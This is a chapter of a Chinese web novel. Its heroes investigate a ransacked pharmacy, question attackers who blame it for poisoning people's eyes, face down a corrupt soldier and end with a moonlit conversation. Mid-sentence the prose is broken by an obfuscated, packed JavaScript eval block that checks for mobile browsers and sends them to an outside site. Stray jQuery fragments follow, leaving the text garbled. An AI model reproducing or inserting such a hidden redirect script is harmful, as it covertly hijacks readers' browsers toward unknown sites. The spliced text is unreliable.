九仙堂里已经被打砸得乱七八糟,有几个病患倒在地上,地上血迹斑驳,充满了血腥味,狄玉还没见过这种场面,他用羽扇挡口鼻,顿时有些脚软,但看谢凌面不改色,也只好跟着一起,顺着血迹往里面走去。
血迹一直延伸到后院,谢凌捡起地上掉落的一根竹棍防身,刚走到后院就看到了掌柜躺在地上,还没断气。
“快!帮他止血!”
狄玉一脸震惊,再也不装了,连连摆手:“我不会!我不敢碰!”
谢凌只好蹲下去,双手按住掌柜的伤口帮他止血,就在这时,两名蒙面持刀的男子从药柜那头冒了出来,见谢凌在给掌柜施救,就直奔他而去。
这时狄玉早已经吓软了脚,只顾喊一句:“当心!”
关键时刻,江月还不知何时进来,举起手边的凳子扔过去,帮谢凌挡了一下,然后她立刻蹲下来接替谢凌帮掌柜止血,谢凌这才得以抽身去应对,两人一句话也来不及说,全靠默契。显然那两人完全不是谢凌的对手,三两招便被谢凌打落了手中的刀,孟力此时也已经进来,迅速将这两人放倒,绑了起来,同时他们怀中的曼陀丸也纷纷滚落在地。
谢凌丢掉手中的竹棍,走过去问:“你们是何人!既然只是求药,为何要打砸九仙堂还要杀人!”
其中一个络腮胡的人,双眼红肿地答道:“我们要报仇!”
江月还已经给掌柜包扎止血,这时候她也来到谢凌身边,面对这两个贼人,她也毫不畏惧。
“什么仇,要杀人?你可知这是死罪!”
络腮胡道:“杀妻之仇!我娘子染上眼疾,可这曼陀丸供不应求,我日日赶来翻云镇排队买药,十次也只能买到五次,我娘子日渐眼盲,上个月竟坠井而亡。我本以为只是天意,没想到竟是九仙堂谋财害命!他们下毒让百姓们患上眼疾,再买药求财!”
说完,络腮胡看向身旁的同伴,愤慨道:“赵兄亦是受害者,他女儿年方九岁,也无故患上眼疾,求药不得,也失明了,月初坠河而亡!你说,这九仙堂该不该死!”
谢凌与江月还都没想到,这背后竟有如此凄惨的因由,一时竟有些无言以对。
片刻后,谢凌才问:“患眼疾者众多,你怎知问题出在九仙堂?”
络腮胡道:“我猜的。”
谢凌说:“若你能猜到,也不至于如今才来闹事,还不从实招来,等会儿惊动了官府,你们俩插翅难逃!若你供出背后之人,我便可以饶了你们。”
江月还猜到谢凌的意图,也道:“是不是有人教唆你们?那他是否有告知你们,九仙堂如何给人下药?”
络腮胡摇头,一脸视死如归的神情,这时娇娇从外面跑进来。
“听说官府的人要来了!”
谢凌道:“你以为你们俩下狱就行了吗?你们不知道这九仙堂是蒙参虞家人吗?你们的家人皆会被连坐!还不快从实招来!”
络腮胡与他同伴对视一眼,他家中还有幼子,而他同伴家中还有老人与妻子,可他们来之前,就已经将他们转移了。两人眼神坚定,一副抵死不说的样子。
谢凌大概也已想到,继续说:“你们若被定罪,你们的家人永远都是逃犯,一生颠沛流离!但若你们说出那个人,即刻放你们从后门离开。”
谢凌虽平时一副世家子弟的模样,但严肃起来不怒自威,这两人慌忙对视,犹豫不决……
他同伴大概想到自己的家人,长叹一声,才道:“是个四十岁上下的女子!她将我们这些因为眼疾所苦的人都聚集在一起,她说她的丈夫与幼子也因为眼疾意外身亡,九仙堂下毒再卖解药以此牟利,她让我们先来九仙堂闹事,杀了掌柜,让所有患眼疾之人都去闹事!”
江月还问:“她人在何处?”
络腮胡也放弃了挣扎,回答道:“每晚,我们是在镇外的连峰山下的破庙见面。”
谢凌道:“我说到做到,会放了你们,但不是现在,万一你去通风报信……”
说完看了一眼孟力,孟力会意,一刀斩下自己的衣角,将他们的嘴巴堵上,与狄玉的小厮一起,从后门将他们带走了,暂时关在方游园中。
谢凌看了一眼狄玉,他终于恢复了血色,他自顾自地解释:“我可没见过这种场面,这也正常……”
江月还还在思考方才那两个人说的话,他们口中四十岁上下的女子,脑海中有一个念头挥之不去,她不敢深想。
这时,官府的官兵赶来,将谢凌江月还他们当成了贼人,将他们团团围住。
娇娇立刻解释:“不是我们干的!”
谢凌漫不经心地说:“我们是来购药的,贼人已经跑了。”
为首的官兵走到谢凌面前,上下打量他。
得意洋洋地说:“我没看到什么贼人,我只看到了你们。”
说完,又走到江月还面前,还伸出了手:“这姑娘,长得倒是有几分姿色……”
话还没说完,便吃痛地一声嚎叫,谢凌还没出手,江月还已经给了这人□□一脚,娇娇也用力将他撞倒在地上!
“大胆!你们竟敢……”
剩下的话,被他生生咽了下去,因为谢凌一个转身,就抽出了他的佩刀,并且架在了他的脖子上。
谢凌一个眼神射过去,那官兵顿时不寒而栗。
那官兵性命攸关,顿时脸色惨白,只见谢凌的刀尖向下移,移到刚才他试图摸江月还的那只手上。
“你这只手,刚才想做什么?”
官兵吓得不停摇头,江月还道:“我们不是贼人,是我们救了掌柜,一问便知。”
谢凌这才松开手,那官兵如释重负,再也没了之前的盛气凌人,其实他也知道,他们不是贼人,毕竟这几位一看就觉得非同凡响,狄玉的打扮招摇,一看就是世家公子,谢凌气质不俗,潇洒俊逸,眉宇间流淌着深深的高贵气质,而江月还也是,生得貌美,绝非俗人。
他只不过是仗着自己是官兵,想要威胁他们,换得些好处,没想到被人家威胁了。
“各位大侠,打扰了……”
说完,便对手下的官兵道:“速去追查贼人!”
官兵们转眼都出了九仙堂,狄玉忽然一拍大腿,懊恼道:“本少主还是太善良了,我怎么没想到来洗劫九仙堂,抢曼陀丸呢?我竟然老老实实排队购药。”
江月还与谢凌哭笑不得。
晚上,按照络腮胡提供的时间地点,谢凌与孟力去了连峰山的破庙,可等了半夜也没等到他们口中的那个中年女子,想必今日他们在九仙堂做贼的事闹得太大,被人知晓,打草惊蛇了。
谢凌回来时,江月还等在方游园外,他立刻加快脚步迎上去,江月还上前几步,身后的孟力不动声色地进了园子。
“如何?”
谢凌摇头,“应该是知晓有变逃了,看来此人十分谨慎……”
江月还道:“这人利用眼疾病患试图闹事,我怕她下一步便是要破两国和平,肯定还会有事发生。”
谢凌点头,“我想很快,便会传出蒙参人谋害昼国人的消息,届时就麻烦了。”
江月还若有所思,“那两人说,教唆他们的女子,四十岁上下,我阿娘……她也四十岁,而且她也来过这方游园,如此多的巧合……”
谢凌知道江月还的阿娘已死,定然不会是她,但又不忍心戳破。
“四十岁上下的女子举国上下,数不胜数,何况我相信你阿娘不会是这样的人。”
江月还听谢凌这么说,顿感安慰。
那背后的女子,唆使那两个男子去九仙堂闹事杀人,这两个男子极有可能获罪,在昼国杀人便要偿命,分明是让这二人去送死。
其实,这需要拿着阿娘的画像去让那两人辨认,便可断定,是不是阿娘,但她不愿意这么做,因为她也不相信阿娘会做出这样的事来。
入了园内,果香阵阵,谢凌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279091|182466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摘了一颗桃子递给江月还。
“别想太多,等夜深了我们去将那厨子绑来,拿到虞家在背后作乱的证据,我们便即刻动身去扎兰。扎兰有魏巡,若两国真的因为这件事挑起战火,也是他所不乐见的,他定有应对之策。”
江月还点头。
这时,狄玉与敦敦也朝果园走来,狄玉穿着一身银白色的盔甲,走路都铿锵作响,手中持着一把长枪。
“走,我们去抓那厨子!”
谢凌忍笑,“你就不用去了吧,少主。”
狄玉听出他的嘲笑,想起下午自己在九仙堂的怂样,昂起脖子道:“你这王爷都能去,我也去得。”
江月还笑了笑,“去抓厨子,不必大动干戈,想去便去吧。”
谢凌听江月还如此说,也不好再说什么。
他俩带着孟力与敦敦一同去了酒楼,然而半个时辰不到,他们就回来了,空手而归。
孟力道:“那厨子失踪了。”
出乎意料江月还的意料,她思忖道:“应该是打草惊蛇了,可我们是怎么被识破的呢?”
谢凌看向狄玉,挑眉道:“他,可是蒙参少主,整日招摇过市,想必是许多人都见过他吧,早就说不让他去了。”
狄玉委屈道:“我都已经十分收敛了。那还怎么查呢?”
江月还道:“不管怎么样,眼下厨子已经失踪了,就看翻云镇眼疾患者是否还会继续增加,再调查一下那些眼疾患者是否吃过兔肉,在何处吃的即可。”
谢凌毫不吝啬地夸赞:“说你俩是表亲,我都有些不信了。你如此聪慧通透,而他……”
狄玉翻了个白眼,倒也没真的生气。
“敦敦,你刚才打包的酒菜呢?你小子越发机灵了,拿来给我下酒。”
敦敦却面露难色地看了一眼娇娇。
不仅江月还捕捉到了这个眼神,在场的各位也都看到了,敦敦提着食盒心不甘情不愿地走到了狄玉身旁。
狄玉却置若罔闻,领着敦敦走了。
这时,孟力也忽然从身后拿出了食盒,“王爷让我给江姑娘打包的。”
然后,又从身后拎出一个食盒递给娇娇:“这是……我给你打包的。”
江月还笑了,娇娇也笑了,四人一起行至果园的亭子中坐下边吃边赏月,没一会儿,娇娇找借口走了,孟力也仓皇找理由走了,亭中只剩下谢凌与江月还。夜空中白月皎皎,果香阵阵,微风吹拂。
片刻后,敦敦端着酒来了。
“少主说,光吃饭不喝酒多没意思,让您二位尝尝我们蒙参的果子酒。”
敦敦给他们倒了酒,便匆匆去了。
夜色渐渐深了,虫鸣鸟声都没了动静,谢凌给江月还倒了杯酒。
江月还道:“下午去九仙堂我趁乱捡了几颗曼陀丸,方才我在房中碾碎了查看,发现里面有几味药都极为常见,只有一味紫鼠草在蒙参境内才有,我想这个应当就是解药的关键。”
谢凌道:“那就是说我们没办法复刻解药了。”
江月还沮丧地抿了一口酒,失落地说:“是我想简单了。这背后研制解药之人,怕是早就想到这一点了,否则岂不是人人都能仿制曼陀丸。”
谢凌握住她的手,安慰道:“你已经很优秀了。虞家经商多年,富可敌国,自然狡诈。如今官府查封凌九仙堂,我担心的是那些眼疾患者求药无门,恐怕会掀起腥风血雨。”
江月还神色凝重地点头,下午九仙堂的事翻云镇已经人尽皆知,那些患者四处筹钱,如今却连药也没地方买,定会生乱。
谢凌见她思绪不宁,忽然道:“月儿,等这一切都了结了,随我一起去封地,等我把那边的事情都处理好,天大地大,你想去何处,我就陪你去何处。”
江月还眼中柔情溢出,但很快又被哀思覆盖。
“好,等我找到我阿娘。”
谢凌眼神闪烁,含糊道:“好。”